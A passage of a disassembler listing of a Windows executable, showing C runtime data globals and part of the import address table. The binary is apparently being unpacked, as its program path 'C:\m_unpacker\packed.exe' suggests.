__heap_alloc_dbg+21Cw ... dword_4F4768 dd 943230h ; DATA XREF: __heap_alloc_dbg:loc_41CFE9r ; __heap_alloc_dbg+252r ... dword_4F476C dd 118Ah ; DATA XREF: __heap_alloc_dbg+222r ; __heap_alloc_dbg+22Aw ... dword_4F4770 dd 118Ah ; DATA XREF: __heap_alloc_dbg+235r ; __heap_alloc_dbg+243w ... dword_4F4774 dd 0 ; DATA XREF: __sopen+217r dword_4F4778 dd 0A28h ; DATA XREF: sub_41E4D0:loc_41E53Ar ; sub_41E4D0:loc_41E5ADr ... dword_4F477C dd 501h ; DATA XREF: start+64w dword_4F4780 dd 5 ; DATA XREF: start+4Fw start+55r dword_4F4784 dd 1 ; DATA XREF: start+3Ew start+5Er dword_4F4788 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401710r ; __setargv+C6w dword_4F478C dd 942840h ; DATA XREF: WinMain(x,x,x,x)+2FEr ; WinMain(x,x,x,x)+31Er ... dd 0 dword_4F4794 dd 942888h ; DATA XREF: __setenvp+7Bw ; __setenvp+81r ... dword_4F4798 dd 0 ; DATA XREF: ___crtsetenv+49r dword_4F479C dd 0 ; DATA XREF: _getenv+24r ; ___wtomb_environ+6r ... dd 0 off_4F47A4 dd offset aCM_unpackerPac ; DATA XREF: __setargv+26w ; __setargv+3Cr ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4F47AC db 0 ; DATA XREF: _doexit+30w ; ___endstdio+8r align 10h dword_4F47B0 dd 0 ; DATA XREF: _doexit:loc_41F763w dword_4F47B4 dd 0 ; DATA XREF: _doexit+9r ; _doexit:loc_41F80Bw dword_4F47B8 dd 0 ; DATA XREF: _doexit+95r _doexit+AFw dword_4F47BC dd 0 ; DATA XREF: .text:00420FE4r ; .text:00420FEFw dword_4F47C0 dd 0 ; DATA XREF: __fpmath+10w align 8 dword_4F47C8 dd 0 ; DATA XREF: _time+88r _time+F8w align 10h dword_4F47D0 dd 0 ; DATA XREF: _time+7Dr _time+100w ... byte_4F47D4 db 2 dup(0) ; DATA XREF: _time+109w word_4F47D6 dw 0 ; DATA XREF: _time+52r dword_4F47D8 dd 0 ; DATA XREF: _time+3Dr _time+112w ... dword_4F47DC dd 0 ; DATA XREF: _time+11Aw dword_4F47E0 dd 0 ; DATA XREF: start+C3w __setenvp+1Br ... align 8 dword_4F47E8 dd 0 ; DATA XREF: __amsg_exit+3r ; _fast_error_exit+3r ... dword_4F47EC dd 0 ; DATA XREF: __openfile:loc_4288B5r ; __openfile+2CEw ... dword_4F47F0 dd 0 ; DATA XREF: __CrtDbgReport+93r ; __CrtDbgReport+C8w ... dword_4F47F4 dd 0 ; DATA XREF: _malloc+Ar ; __malloc_dbg+10r ... dword_4F47F8 dd 0 ; DATA XREF: _set_new_handler(int (*)(uint))+Er ; _set_new_handler(int (*)(uint))+19w ... align 10h dword_4F4800 dd 143E28h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_452D14o dword_4F4818 dd 143DB0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_452D54o dword_4F4830 dd 143E00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_452D34o dword_4F4848 dd 143DD8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_452D44o dword_4F4860 dd 0 ; DATA XREF: ___sbh_decommit_pages+8Br ; ___sbh_decommit_pages+93w ... dword_4F4864 dd 1 ; DATA XREF: __setmbcp:loc_42A272r ; _getSystemCP+3w ... dword_4F4868 dd 0 ; DATA XREF: __stbuf+A6r __stbuf+C9w ... align 10h dword_4F4870 dd 0 ; DATA XREF: __strcmpi+Co ; __setlocale_set_cat+82r ... align 8 ; int dword_4F4878 dword_4F4878 dd 0 ; DATA XREF: __strupr+Dr ; __strupr:loc_4224D6r ... dword_4F487C dd 0 ; DATA XREF: ___init_monetary+4r dword_4F4880 dd 0 ; DATA XREF: ___init_numeric+18r dword_4F4884 dd 0 ; DATA XREF: ___init_time+4r dword_4F4888 dd 0 ; DATA XREF: __mbstowcs_lk+B9r ; __mbstowcs_lk+16Cr ... dword_4F488C dd 0 ; DATA XREF: __setlocale_set_cat+11Fw dword_4F4890 dd 0 ; DATA XREF: __expandlocale+C7o ; __expandlocale+140o word_4F4894 dw 0 ; DATA XREF: __expandlocale+E8r align 4 dword_4F4898 dd 0 ; DATA XREF: __expandlocale+EFw ; __expandlocale+159o dword_4F489C dd 1 ; DATA XREF: ___crtLCMapStringA+26r ; ___crtLCMapStringA+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+19o ; __setargv+26o ... align 4 dd 3Ah dup(0) dword_4F49A4 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+14r ; ___crtGetEnvironmentStringsA+2Cw ... dword_4F49A8 dd 0 ; DATA XREF: __FF_MSGBANNER+2Br ; __FF_MSGBANNER+34r dword_4F49AC dd 0 ; DATA XREF: .text:loc_431476r ; .text:00431482w ... dword_4F49B0 dd 0 ; DATA XREF: .text:loc_43148Ar ; .text:00431495w ... dword_4F49B4 dd 0 ; DATA XREF: .text:loc_43149Dr ; .text:004314A9w ... dword_4F49B8 dd 0 ; DATA XREF: .text:loc_4314B0r ; .text:004314BCw ... dword_4F49BC dd 0 ; DATA XREF: .text:loc_43140Ar ; .text:00431425w dword_4F49C0 dd 0 ; DATA XREF: ___crtMessageBoxA+Dr ; ___crtMessageBoxA+39w ... dword_4F49C4 dd 0 ; DATA XREF: ___crtMessageBoxA+5Aw ; ___crtMessageBoxA:loc_4319C3r ... dword_4F49C8 dd 0 ; DATA XREF: ___crtMessageBoxA+6Ew ; ___crtMessageBoxA+8Br ... dword_4F49CC dd 1 ; DATA XREF: ___crtGetStringTypeA+26r ; ___crtGetStringTypeA+46w ... dword_4F49D0 dd 0 ; DATA XREF: __openfile+9r ; int (__stdcall *dword_4F49D4)() dword_4F49D4 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_433DBEr ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+37r ... dword_4F49D8 dd 0 ; DATA XREF: __tzset_lk+17w ; __tzset_lk+6Dw ... align 10h dword_4F49E0 dd 0 ; DATA XREF: __tzset_lk+59o ; __tzset_lk+77r dword_4F49E4 dd 10h dup(0) ; DATA XREF: __tzset_lk+103o word_4F4A24 dw 0 ; DATA XREF: sub_434320+FCr word_4F4A26 dw 0 ; DATA XREF: __tzset_lk+88r ; sub_434320+145r ... word_4F4A28 dw 0 ; DATA XREF: sub_434320+132r word_4F4A2A dw 0 ; DATA XREF: sub_434320+13Br ; sub_434320+18Br word_4F4A2C dw 0 ; DATA XREF: sub_434320+126r ; sub_434320+181r word_4F4A2E dw 0 ; DATA XREF: sub_434320+11Cr ; sub_434320+177r word_4F4A30 dw 0 ; DATA XREF: sub_434320+113r ; sub_434320+16Er word_4F4A32 dw 0 ; DATA XREF: sub_434320+109r ; sub_434320+164r dword_4F4A34 dd 0 ; DATA XREF: __tzset_lk+93r ; __tzset_lk+CEr dword_4F4A38 dd 10h dup(0) ; DATA XREF: __tzset_lk+149o word_4F4A78 dw 0 ; DATA XREF: sub_434320+43r word_4F4A7A dw 0 ; DATA XREF: __tzset_lk+ABr ; sub_434320+8Cr ... word_4F4A7C dw 0 ; DATA XREF: sub_434320+79r word_4F4A7E dw 0 ; DATA XREF: sub_434320+82r ; sub_434320+D2r word_4F4A80 dw 0 ; DATA XREF: sub_434320+6Dr ; sub_434320+C8r word_4F4A82 dw 0 ; DATA XREF: sub_434320+63r ; sub_434320+BEr word_4F4A84 dw 0 ; DATA XREF: sub_434320+5Ar ; sub_434320+B5r word_4F4A86 dw 0 ; DATA XREF: sub_434320+50r ; sub_434320+ABr dword_4F4A88 dd 0 ; DATA XREF: __tzset_lk+B6r ; __tzset_lk+C9r ; char *dword_4F4A8C dword_4F4A8C dd 0 ; DATA XREF: __tzset_lk+18Dr ; __tzset_lk+196r ... dword_4F4A90 dd 0 ; DATA XREF: ___tzset+3r ___tzset+16r ... dword_4F4A94 dd 0 ; DATA XREF: ___init_time+75r ; ___init_time+86r ... dword_4F4A98 dd 0 ; DATA XREF: ___init_numeric+25o ; ___init_numeric+93r ... dword_4F4A9C dd 0 ; DATA XREF: ___init_numeric+42o ; ___init_numeric+A3r ... dword_4F4AA0 dd 0 ; DATA XREF: ___init_numeric+5Fo ; ___init_numeric+7Cr ... dword_4F4AA4 dd 0 ; DATA XREF: ___init_monetary+A0r ; ___init_monetary+B1r ... dword_4F4AA8 dd 0 ; DATA XREF: unknown_libname_24+2AAr ; unknown_libname_24+2B5r ... dword_4F4AAC dd 0 ; DATA XREF: unknown_libname_24+2CCr ; unknown_libname_24+2D7r ... dword_4F4AB0 dd 3 dup(0) ; DATA XREF: __setlocale_set_cat+94o ; __setlocale_set_cat+F3o word_4F4ABC dw 0 ; DATA XREF: unknown_libname_24+36r align 10h dd 0 word_4F4AC4 dw 0 ; DATA XREF: __get_lc_lconv+Fr align 4 db 2 dup(0) word_4F4ACA dw 0 ; DATA XREF: ___init_numeric+Fr db 2 dup(0) word_4F4ACE dw 0 ; DATA XREF: __get_lc_time+Fr word_4F4AD0 dw 0 ; DATA XREF: __get_lc_time+1Ar align 4 dword_4F4AD4 dd 0 ; DATA XREF: ___get_qualified_locale+155r ; ___get_qualified_locale+176r ... dword_4F4AD8 dd 0 ; DATA XREF: _GetLcidFromLangCountry+37w ; LangCountryEnumProc(x)+1Br ... ; size_t MaxCount MaxCount dd 0 ; DATA XREF: _GetLcidFromLangCountry+6Ew ; LangCountryEnumProc(x)+101r ... dword_4F4AE0 dd 0 ; DATA XREF: _GetLcidFromLangCountry+1Aw ; _GetLcidFromLangCountry+47r ... ; char *dword_4F4AE4 dword_4F4AE4 dd 0 ; DATA XREF: ___get_qualified_locale+45w ; ___get_qualified_locale+4Br ... ; char *dword_4F4AE8 dword_4F4AE8 dd 0 ; DATA XREF: ___get_qualified_locale+7Aw ; ___get_qualified_locale+80r ... dword_4F4AEC dd 0 ; DATA XREF: ___get_qualified_locale:loc_435E09w ; ___get_qualified_locale:loc_435E6Er ... dword_4F4AF0 dd 0 ; DATA XREF: ___get_qualified_locale+182r ; ___get_qualified_locale+1CBr ... dword_4F4AF4 dd 0 ; DATA XREF: ___get_qualified_locale+6r ; ___get_qualified_locale+2Cw ... dword_4F4AF8 dd 0 ; DATA XREF: __sopen:loc_4323ECr byte_4F4AFC db 0 ; DATA XREF: sub_439950+18Fo ; sub_439950+1F2r ... align 10h dd 0 dword_4F4B04 dd 0 ; DATA XREF: __free_lc_lconv+11o ; .data:off_45600Co ... dword_4F4B08 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r ; ___crtGetStringTypeW+46w ... dword_4F4B0C dd 0 ; DATA XREF: ___crtGetLocaleInfoW+26r ; ___crtGetLocaleInfoW+41w ... dword_4F4B10 dd 0 ; DATA XREF: ___crtGetLocaleInfoA+26r ; ___crtGetLocaleInfoA+41w ... dword_4F4B14 dd 0 ; DATA XREF: ___crtCompareStringA+26r ; ___crtCompareStringA+4Bw ... dword_4F4B18 dd 0 ; DATA XREF: ___crtLCMapStringW+26r ; ___crtLCMapStringW+4Bw ... byte_4F4B1C db 1 ; DATA XREF: sub_40E2ECr sub_40E2EC+9w align 10h dword_4F4B20 dd 0 ; DATA XREF: sub_438A30+90w ; sub_438A30+A5w ... dword_4F4B24 dd 0 ; DATA XREF: sub_438BC0+1C4w ; sub_438BC0+1EDw ... dd 6 dup(0) dword_4F4B40 dd 941F58h ; DATA XREF: ___initstdio+EDr ; ___initstdio+109r ... dd 3Fh dup(0) dword_4F4C40 dd 20h ; DATA XREF: __close+7r __read+7r ... dword_4F4C44 dd 0 ; DATA XREF: __strcmpi+5Ar ; __strupr+68r ... dword_4F4C48 dd 0 ; DATA XREF: __strcmpi:loc_421D83w ; __strcmpi:loc_421D97w ... dword_4F4C4C dd 4E4h ; DATA XREF: __setmbcp+22r ; __setmbcp+14Aw ... word_4F4C50 dw 0 ; DATA XREF: __setmbcp+19Aw ; __setmbcp+2F3w ... align 4 dd 2 dup(0) dword_4F4C5C dd 0 ; DATA XREF: __setmbcp+150w ; __setmbcp+2C2w ... byte_4F4C60 db 0 ; DATA XREF: _setSBUpLow+1CEw ; _setSBUpLow+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4F4D60 db 0 ; DATA XREF: __setmbcp+ABw ; __setmbcp+1F4w ... byte_4F4D61 db 0 ; DATA XREF: __splitpath+92r ; __setmbcp+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4F4E64 dd 0 ; DATA XREF: __setmbcp+169w ; __setmbcp+205w ... dword_4F4E68 dd 940000h ; DATA XREF: sub_41E4D0+8Dr ; sub_41E4D0+FBr ... dword_4F4E6C dd 1 ; DATA XREF: sub_41E4D0:loc_41E501r ; sub_41E4D0:loc_41E56Er ... dword_4F4E70 dd 0 ; DATA XREF: ___sbh_heap_init+51w ; ___sbh_alloc_new_region+9r ... dword_4F4E74 dd 0 ; DATA XREF: sub_424FD0+484r ; sub_424FD0+4B3r ... dword_4F4E78 dd 0 ; DATA XREF: ___sbh_heap_init+37w ; sub_424FD0+5C1w ... align 10h ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init+3Dw ; sub_424FD0+477r ... dword_4F4E84 dd 0 ; DATA XREF: ___sbh_heap_init+47w ; ___sbh_find_block+6r ... dword_4F4E88 dd 0 ; DATA XREF: ___sbh_heap_init+16w ; ___sbh_heap_init+1Br ... dword_4F4E8C dd 0 ; DATA XREF: __heap_alloc_base+2Fr ; sub_424440+6Dr ... dword_4F4E90 dd 0 ; DATA XREF: .text:00423414r ; .text:0042341Fw ... dword_4F4E94 dd 943250h ; DATA XREF: ___initstdio+48w ; ___initstdio+4Dr ... align 10h dword_4F4EA0 dd 129h dup(0) ; DATA XREF: .data:off_452A68o ; .data:00452A70o db 0 byte_4F5345 db 3 dup(0) ; DATA XREF: .data:00455B50o ; .data:00455EA4o dd 43h dup(0) dword_4F5454 dd 293h dup(0) ; DATA XREF: .data:00455D1Co dword_4F5EA0 dd 200h ; DATA XREF: ___initstdio+4r ; ___initstdio+Dw ... dword_4F5EA4 dd 142340h ; DATA XREF: start+B9w ; __wincmdln:loc_430092r ... dword_4F5EA8 dd 1 ; DATA XREF: __setenvp+13Bw _getenv+Er dword_4F5EAC dd 1 ; DATA XREF: ___initmbctable+3r ; ___initmbctable+16w ... dword_4F5EB0 dd 94241Ch ; DATA XREF: _doexit+45r __onexit+19r ... dword_4F5EB4 dd 942410h ; DATA XREF: _doexit+3Cr _doexit+5Ar ... dword_4F5EB8 dd 0 ; DATA XREF: .text:0041E734r ; .text:0041E73Fw ... byte_4F5EBC db 1 ; DATA XREF: sub_43B830+5r ; sub_43B830+11r ... _data ends ; Section 4. (virtual address 000F6000) ; Virtual size : 00000FD0 ( 4048.) ; Section size in file : 00000FD0 ( 4048.) ; Offset to raw data for section: 000F6000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 4F6000h dd 0F6284h, 2 dup(0) dd 0F65A2h, 0F6518h, 0F629Ch, 2 dup(0) dd 0F65B8h, 0F6530h, 0F628Ch, 2 dup(0) dd 0F6606h, 0F6520h, 0F6064h, 2 dup(0) dd 0F6FC2h, 0F62F8h, 5 dup(0) dd 0F69E6h, 0F6FA8h, 0F6F96h, 0F6F84h, 0F6F72h, 0F6F62h dd 0F6F4Ch, 0F6F36h, 0F6F24h, 0F6F14h, 0F6F04h, 0F6EE6h dd 0F6ED4h, 0F6EC2h, 0F6EAEh, 0F6E9Eh, 0F6E90h, 0F6E7Eh dd 0F6E64h, 0F6E4Ch, 0F6E32h, 0F6E18h, 0F6DFCh, 0F6DECh dd 0F6DDCh, 0F6DCAh, 0F6DBEh, 0F6DB4h, 0F6DA8h, 0F6612h dd 0F6620h, 0F662Eh, 0F6640h, 0F6656h, 0F666Ch, 0F6674h dd 0F6684h, 0F6692h, 0F66A0h, 0F66B6h, 0F66C6h, 0F66D2h dd 0F66E8h, 0F66FEh, 0F6712h, 0F6728h, 0F6738h, 0F6748h dd 0F675Ah, 0F676Ah, 0F6776h, 0F6786h, 0F6798h, 0F67ACh dd 0F67BEh, 0F67CEh, 0F67DCh, 0F67F4h, 0F680Ch, 0F6834h dd 0F684Ch, 0F6858h, 0F6868h, 0F6874h, 0F6882h, 0F6896h dd 0F68A8h, 0F68BCh, 0F68CAh, 0F68DCh, 0F68EEh, 0F68FCh dd 0F6908h, 0F6920h, 0F693Ah, 0F694Ah, 0F695Ch, 0F696Eh dd 0F6986h, 0F69A0h, 0F69BCh, 0F69CCh, 0F6A02h, 0F6A10h dd 0F6A2Ah, 0F6A36h, 0F6A42h, 0F6A54h, 0F6A66h, 0F6A7Ah dd 0F6A8Ah, 0F6A9Ch, 0F6AACh, 0F6ABAh, 0F6ACCh, 0F6ADCh dd 0F6AF2h, 0F6B00h, 0F6B0Eh, 0F6B2Ah, 0F6B40h, 0F6B56h dd 0F6B62h, 0F6B78h, 0F6B88h, 0F6B9Ch, 0F6BB2h, 0F6BC2h dd 0F6BD2h, 0F6BE2h, 0F6BEEh, 0F6C08h, 0F6C18h, 0F6C30h dd 0F6C48h, 0F6C5Ah, 0F6C6Ch, 0F6C7Ah, 0F6C88h, 0F6C98h dd 0F6CAEh, 0F6CCAh, 0F6CDAh, 0F6CE8h, 0F6CF6h, 0F6D06h dd 0F6D20h, 0F6D2Eh, 0F6D3Ch, 0F6D52h, 0F6D60h, 0F6D6Ch dd 0F6D76h, 0F6D86h, 0F6D94h, 0 dd 0F658Ch, 0 dd 0F65C4h, 0F65D6h, 0F65ECh, 0 dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h dd 80000015h, 8000000Ah, 80000002h, 0F65AAh, 80000001h dd 80000034h, 8000000Bh, 80000009h, 80000004h, 80000010h dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h dd 80000006h, 8000000Dh, 0 dword_4F62F8 dd 77E6D75Bh ; DATA XREF: sub_4135C1+182r ; sub_414324+FFr ... dword_4F62FC dd 77E6BD68h ; DATA XREF: ___crtsetenv+2C5r ; .text:0043BC46r dword_4F6300 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+41r ; ___crtCompareStringA+3DAr ... dword_4F6304 dd 77E762D0h ; DATA XREF: ___crtCompareStringA+69r ; ___crtCompareStringA+D9r ... dword_4F6308 dd 77E78723h ; DATA XREF: ___crtGetLocaleInfoW+37r ; ___crtGetLocaleInfoW+8Br ... dword_4F630C dd 77E70192h ; DATA XREF: __chsize_lk+1D8r ; .text:0043BC2Er dword_4F6310 dd 77E79C94h ; DATA XREF: _GetLcidFromDefault+12r ; .text:0043BC28r dword_4F6314 dd 77E6363Bh ; DATA XREF: _GetLcidFromLangCountry+7Ar ; _GetLcidFromLanguage+53r ... dword_4F6318 dd 77E75243h ; DATA XREF: ___get_qualified_locale+142r ; .text:0043BC1Cr dword_4F631C dd 77E752B8h ; DATA XREF: ___get_qualified_locale+15Cr ; .text:0043BC16r dword_4F6320 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+Fr ; .text:0043BC10r dword_4F6324 dd 77E7C9E7h ; DATA XREF: __CxxSetUnhandledExceptionFilter(void)+8r ; __CxxRestoreUnhandledExceptionFilter(void)+9r ... dword_4F6328 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Cr ; ___crtGetStringTypeA+19Er ... dword_4F632C dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+61r ; ___crtGetStringTypeA+AAr ... dword_4F6330 dd 77E73FF9h ; DATA XREF: unknown_libname_21+7Fr ; .text:0043BBF8r dword_4F6334 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd+58r ; __set_osfhnd+66r ... dword_4F6338 dd 77E78406h ; DATA XREF: __ioinit+1E6r ; __ioinit+29Br ... dword_4F633C dd 77E7C931h ; DATA XREF: __ioinit+31Ar ; .text:0043BBE6r dword_4F6340 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+1Dr ; ___crtGetEnvironmentStringsA+6Dr ... dword_4F6344 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_4307D8r ; ___crtGetEnvironmentStringsA+171r ... dword_4F6348 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+108r ; ___crtGetEnvironmentStringsA+150r ... dword_4F634C dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+1E6r ; ___crtGetEnvironmentStringsA+208r ... dword_4F6350 dd 77EB9A84h ; DATA XREF: __XcptFilter+37r ; .text:0043BBC8r dword_4F6354 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+41r ; ___crtLCMapStringA+1A5r ... dword_4F6358 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+69r ; ___crtLCMapStringA+C0r ... dword_4F635C dd 77E6D706h ; DATA XREF: __raise_exc+35Ar ; .text:0043BBB6r ... dword_4F6360 dd 77E6C703h ; DATA XREF: _getSystemCP+1Dr ; .text:0043BBB0r dword_4F6364 dd 77E7A13Fh ; DATA XREF: _getSystemCP+35r ; .text:0043BBAAr dword_4F6368 dd 77E7849Fh ; DATA XREF: __setmbcp+1C7r ; _setSBUpLow+17r ... dword_4F636C dd 77E75CB5h ; DATA XREF: sub_401317+DFr ; WinMain(x,x,x,x)+7Ar ... dword_4F6370 dd 77E77963h ; DATA XREF: sub_401317+B8r ; WinMain(x,x,x,x)+2DBr ... dword_4F6374 dd 77E61BB8h ; DATA XREF: sub_401317+A7r ; WinMain(x,x,x,x)+2C3r ... dword_4F6378 dd 77E7A099h ; DATA XREF: sub_401317+83r ; WinMain(x,x,x,x)+DAr ... dword_4F637C dd 77E704FCh ; DATA XREF: sub_401317+74r ; WinMain(x,x,x,x)+C4r ... dword_4F6380 dd 77E61BE6h ; DATA XREF: sub_401317+29r ; WinMain(x,x,x,x)+1F4r ... dword_4F6384 dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r ; sub_401CC7+790r ... dword_4F6388 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br ; sub_401CC7+79CBr ... dword_4F638C dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+274r ; sub_417E1E+15r ... dword_4F6390 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r ; .text:0043B958r dword_4F6394 dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r ; WinMain(x,x,x,x)+3E6r ... dword_4F6398 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4015D6r ; .text:0041C0E1r ... dword_4F639C dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r ; WinMain(x,x,x,x)+221r ... dword_4F63A0 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er ; sub_41016C+110r ... dword_4F63A4 dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r ; sub_409E0C+2r ... dword_4F63A8 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br ; WinMain(x,x,x,x)+311r ... dword_4F63AC dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r ; .text:0043B982r dword_4F63B0 dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr ; sub_401CC7+2555r ... dword_4F63B4 dd 77E75CEBh ; DATA XREF: sub_401CC7+7C23r ; sub_40B8C9+2Br ... dword_4F63B8 dd 77E6AD34h ; DATA XREF: sub_401CC7+6AFFr ; sub_41912E+35r ... dword_4F63BC dd 77E71AFEh ; DATA XREF: sub_401CC7+68C7r ; .text:0043B99Ar dword_4F63C0 dd 77E805D8h ; DATA XREF: sub_409E0C+13Ar ; sub_409E0C:loc_40A31Ar ... dword_4F63C4 dd 77E7A5FDh ; DATA XREF: sub_409E0C+11r ; sub_417AC3+60r ... dword_4F63C8 dd 77E65F4Ch ; DATA XREF: sub_40B1BA+26r ; sub_41A498+34r ... dword_4F63CC dd 77E7513Ch ; DATA XREF: sub_40B260+22r ; ___get_qualified_locale+18r ... dword_4F63D0 dd 77E7C657h ; DATA XREF: sub_40B2D5+21r ; sub_4192B6+32r ... dword_4F63D4 dd 77E73C49h ; DATA XREF: sub_40B7F9+4Ar ; sub_40BF39+1AFr ... dword_4F63D8 dd 77F7E300h ; DATA XREF: sub_40C989+142r ; __unlock_file+35r ... dword_4F63DC dd 77F7E21Fh ; DATA XREF: sub_40C989+D7r ; __lock_file+35r ... dword_4F63E0 dd 77E7C706h ; DATA XREF: sub_40CBA1+77r ; .text:0043B9D0r dword_4F63E4 dd 77F53275h ; DATA XREF: sub_40CBA1+6Br ; sub_40CBA1+22Fr ... dword_4F63E8 dd 77E79D8Ch ; DATA XREF: sub_40E311+94r ; sub_40E3FF+184r ... dword_4F63EC dd 77E737DEh ; DATA XREF: sub_40E3FF+43Dr ; .text:0043B9E2r dword_4F63F0 dd 77E78B82h ; DATA XREF: sub_40E3FF+1ACr ; sub_40E3FF+49Cr ... dword_4F63F4 dd 77E7A837h ; DATA XREF: sub_40E3FF+AAr ; sub_41016C+1CBr ... dword_4F63F8 dd 77E616B4h ; DATA XREF: sub_40EFAC+19Br ; sub_41178E+115r ... dword_4F63FC dd 77E79CE3h ; DATA XREF: sub_40EFAC+111r ; sub_4119D8+77r ... dword_4F6400 dd 77E79C90h ; DATA XREF: sub_40EFAC+FDr ; sub_40EFAC+10Ar ... dword_4F6404 dd 77E7727Ah ; DATA XREF: sub_40EFAC+74r ; sub_4118DF+23r ... dword_4F6408 dd 77E64106h ; DATA XREF: sub_40FFE9+A0r ; sub_41B964+1B6r ... dword_4F640C dd 77E64006h ; DATA XREF: sub_40FFE9+8Cr ; sub_41B964+19Fr ... dword_4F6410 dd 77E793EFh ; DATA XREF: sub_41016C+1F5r ; sub_410AA9+38r ... dword_4F6414 dd 77E78EAAh ; DATA XREF: sub_410423+5ECr ; sub_417975+BAr ... dword_4F6418 dd 77E79424h ; DATA XREF: sub_410423+280r ; sub_417E1E+135r ... dword_4F641C dd 77E794BFh ; DATA XREF: sub_410423+272r ; sub_417E1E+123r ... dword_4F6420 dd 77E75E67h ; DATA XREF: sub_410423+212r ; sub_410423+5DBr ... dword_4F6424 dd 77E75D9Eh ; DATA XREF: sub_410423+201r ; sub_417975+26r ... dword_4F6428 dd 77E78C81h ; DATA XREF: sub_410AA9+6Cr ; sub_4169B8+259r ... dword_4F642C dd 77E76968h ; DATA XREF: sub_411506+5Fr ; .text:0043141Ar ... dword_4F6430 dd 77E74C59h ; DATA XREF: sub_41178E+C7r ; .text:0043BA48r dword_4F6434 dd 77EC7C51h ; DATA XREF: sub_411B63+5Er ; .text:0043BA4Er dword_4F6438 dd 77E70F89h ; DATA XREF: sub_4126CC+Er ; sub_415C77+Dr ... dword_4F643C dd 77E802FCh ; DATA XREF: sub_4135C1+18Cr ; sub_4135C1+2D4r ... dword_4F6440 dd 77E80618h ; DATA XREF: sub_417AC3+170r ; sub_4194A9+D4r ... dword_4F6444 dd 77E78147h ; DATA XREF: sub_417AC3+BCr ; .text:0043BA6Cr dword_4F6448 dd 77F51597h ; DATA XREF: sub_417C95+41r ; sub_417C95+F5r ... dword_4F644C dd 77F516F8h ; DATA XREF: sub_417C95+21r ; sub_417E1E+4Ar ... dword_4F6450 dd 77E77CB7h ; DATA XREF: sub_417C95+10r ; sub_417E1E+40r ... dword_4F6454 dd 77E7F01Ah ; DATA XREF: sub_417E1E+88r ; sub_417FC5+55r ... dword_4F6458 dd 77E61A54h ; DATA XREF: sub_417E1E+56r ; sub_417FC5+97r ... dword_4F645C dd 77E7C3A5h ; DATA XREF: sub_417E1E+34r ; sub_417FC5+2Er ... dword_4F6460 dd 77E76A60h ; DATA XREF: sub_418E9D+2Dr ; .text:0043BA96r dword_4F6464 dd 77E71B14h ; DATA XREF: sub_418F27+26r ; .text:0043BA9Cr dword_4F6468 dd 77E7166Fh ; DATA XREF: sub_418F27+1Dr ; .text:0043BAA2r dword_4F646C dd 77E75090h ; DATA XREF: sub_418F62+6Cr ; .text:0043BAA8r dword_4F6470 dd 77E74D76h ; DATA XREF: sub_418F62+39r ; .text:0043BAAEr dword_4F6474 dd 77E77797h ; DATA XREF: sub_418F62+28r ; .text:0043BAB4r dword_4F6478 dd 77E7011Ah ; DATA XREF: sub_418FE7+96r ; 